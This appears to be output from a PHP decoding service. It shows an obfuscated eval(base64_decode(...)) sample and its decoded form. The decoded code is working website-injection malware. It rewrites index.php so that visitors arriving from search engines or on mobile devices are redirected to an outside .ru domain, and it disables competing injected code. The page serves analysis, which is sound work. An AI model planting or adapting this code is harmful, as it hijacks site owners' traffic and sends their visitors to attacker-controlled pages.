Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoImluZGV4LnBocCIpOwokbG9sID0g..

Decoded Output download


$text = file_get_contents("index.php");
$lol = 'echo "<!-- 2 -->";$to = "http://ivsenaidu.ru/?q=";if (preg_match("#(google|bing|msn|ask|aol|mail\.ru|webalta).*[\?\&]q=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#(altavista|yahoo).*[\?\&]p=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[2]));exit();}
if (preg_match("#yandex.*[\?\&]text=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}
if (preg_match("#rambler.*[\?\&]query=([^&]+)#i", $_SERVER["HTTP_REFERER"], $match)) {header("Location: ".$to.urldecode($match[1]));exit();}echo "<!-- 1 -->";$iphone = strpos($_SERVER["HTTP_USER_AGENT"],"iP");$android = strpos($_SERVER["HTTP_USER_AGENT"],"Android");$palmpre = strpos($_SERVER["HTTP_USER_AGENT"],"webOS");$berry = strpos($_SERVER["HTTP_USER_AGENT"],"BlackBerry");if ($iphone || $android || $palmpre || $berry === true){ header("Location: http://ivsenaidu.ru/");exit();}if(!empty($_POST["update"])) exit();';$text = str_replace("<?php", "<?php  $lol", $text);$text = str_replace("eval(base64_decode", "exit();(", $text);file_put_contents("index.php", $text);

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiR0ZXh0ID0gZmlsZV9nZXRfY29udGVudHMoImluZGV4LnBocCIpOwokbG9sID0gJ2VjaG8gIjwhLS0gMiAtLT4iOyR0byA9ICJodHRwOi8vaXZzZW5haWR1LnJ1Lz9xPSI7aWYgKHByZWdfbWF0Y2goIiMoZ29vZ2xlfGJpbmd8bXNufGFza3xhb2x8bWFpbFwucnV8d2ViYWx0YSkuKltcP1wmXXE9KFteJl0rKSNpIiwgJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdLCAkbWF0Y2gpKSB7aGVhZGVyKCJMb2NhdGlvbjogIi4kdG8udXJsZGVjb2RlKCRtYXRjaFsyXSkpO2V4aXQoKTt9CmlmIChwcmVnX21hdGNoKCIjKGFsdGF2aXN0YXx5YWhvbykuKltcP1wmXXA9KFteJl0rKSNpIiwgJF9TRVJWRVJbIkhUVFBfUkVGRVJFUiJdLCAkbWF0Y2gpKSB7aGVhZGVyKCJMb2NhdGlvbjogIi4kdG8udXJsZGVjb2RlKCRtYXRjaFsyXSkpO2V4aXQoKTt9CmlmIChwcmVnX21hdGNoKCIjeWFuZGV4LipbXD9cJl10ZXh0PShbXiZdKykjaSIsICRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSwgJG1hdGNoKSkge2hlYWRlcigiTG9jYXRpb246ICIuJHRvLnVybGRlY29kZSgkbWF0Y2hbMV0pKTtleGl0KCk7fQppZiAocHJlZ19tYXRjaCgiI3JhbWJsZXIuKltcP1wmXXF1ZXJ5PShbXiZdKykjaSIsICRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSwgJG1hdGNoKSkge2hlYWRlcigiTG9jYXRpb246ICIuJHRvLnVybGRlY29kZSgkbWF0Y2hbMV0pKTtleGl0KCk7fWVjaG8gIjwhLS0gMSAtLT4iOyRpcGhvbmUgPSBzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJpUCIpOyRhbmRyb2lkID0gc3RycG9zKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwiQW5kcm9pZCIpOyRwYWxtcHJlID0gc3RycG9zKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwid2ViT1MiKTskYmVycnkgPSBzdHJwb3MoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJCbGFja0JlcnJ5Iik7aWYgKCRpcGhvbmUgfHwgJGFuZHJvaWQgfHwgJHBhbG1wcmUgfHwgJGJlcnJ5ID09PSB0cnVlKXsgaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2l2c2VuYWlkdS5ydS8iKTtleGl0KCk7fWlmKCFlbXB0eSgkX1BPU1RbInVwZGF0ZSJdKSkgZXhpdCgpOyc7JHRleHQgPSBzdHJfcmVwbGFjZSgiPD9waHAiLCAiPD9waHAgICRsb2wiLCAkdGV4dCk7JHRleHQgPSBzdHJfcmVwbGFjZSgiZXZhbChiYXNlNjRfZGVjb2RlIiwgImV4aXQoKTsoIiwgJHRleHQpO2ZpbGVfcHV0X2NvbnRlbnRzKCJpbmRleC5waHAiLCAkdGV4dCk7Cg==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 6efb4febdd6d6efda5a68985c893671d
Eval Count 1
Decode Time 82 ms